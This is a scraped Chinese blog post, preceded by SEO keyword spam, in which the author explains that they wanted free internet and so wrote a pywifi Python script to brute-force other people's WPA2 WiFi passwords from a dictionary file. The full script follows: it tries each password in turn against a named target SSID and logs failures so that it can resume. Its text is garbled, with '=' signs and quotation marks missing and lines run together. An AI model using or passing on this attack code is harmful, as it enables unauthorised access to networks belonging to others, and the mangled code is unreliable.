辽阳好的网站建设公司,在线资源搜索神器,云南网络营销seo,广西做网站公司前言
最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功
原理
使用pip install pywifi命令安装pywifi 使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试 扫描失败的密码会被…前言
最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功
原理
使用pip install pywifi命令安装pywifi 使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试 扫描失败的密码会被放入error.txt文件,当意外中断wifi扫描时可以立刻从上次扫描失败的点重新开始尝试
尝试了一下也就用常见的wifi密码字典包,尝试下,大概有几十万条,如果让0-9,a-z随机组合下那是不可能的,因为组合的种类有百亿条,千万年都跑不完
源码
import pywifi
from pywifi import const
import time
errorList[]
# WiFi连接函数
def connect_wifi(ssid, password):wifi pywifi.PyWiFi() # 创建一个WiFi对象iface wifi.interfaces()[0] # 获取第一个无线网卡接口iface.disconnect() # 断开当前WiFi连接time.sleep(1) # 等待1秒profile pywifi.Profile() # 创建WiFi配置文件profile.ssid ssid # 设置WiFi名称SSIDprofile.auth const.AUTH_ALG_OPEN # 设置WiFi加密算法这里使用开放式认证profile.akm.append(const.AKM_TYPE_WPA2PSK) # 设置WiFi身份验证算法这里使用WPA2-PSKprofile.cipher const.CIPHER_TYPE_CCMP # 设置WiFi加密方式这里使用CCMP加密profile.key password # 设置WiFi密码# 删除所有WiFi配置文件iface.remove_all_network_profiles()# 添加新的WiFi配置文件tmp_profile iface.add_network_profile(profile)iface.connect(tmp_profile) # 连接WiFitime.sleep(3) # 等待3秒等待连接成功if iface.status() const.IFACE_CONNECTED: # 判断是否连接成功print(f成功连接到WiFi{ssid}密码为{password})return Trueelse:print(f无法连接到WiFi{ssid}密码为{password})# 将字典保存到文件with open(error.txt, a) as f:f.write(password \n)return False# 读取字典文件
with open(dictionary.txt, r) as f:dictionary f.read().splitlines()
with open(error.txt, r) as f:errorDictionary f.read().splitlines()
ssid 4F # 替换为目标WiFi的SSID
realDict[]
for i in dictionary:if i not in errorDictionary:realDict.append(i)
# 尝试字典中的每个密码
for password in realDict:if connect_wifi(ssid, password):break # 如果成功连接停止尝试密码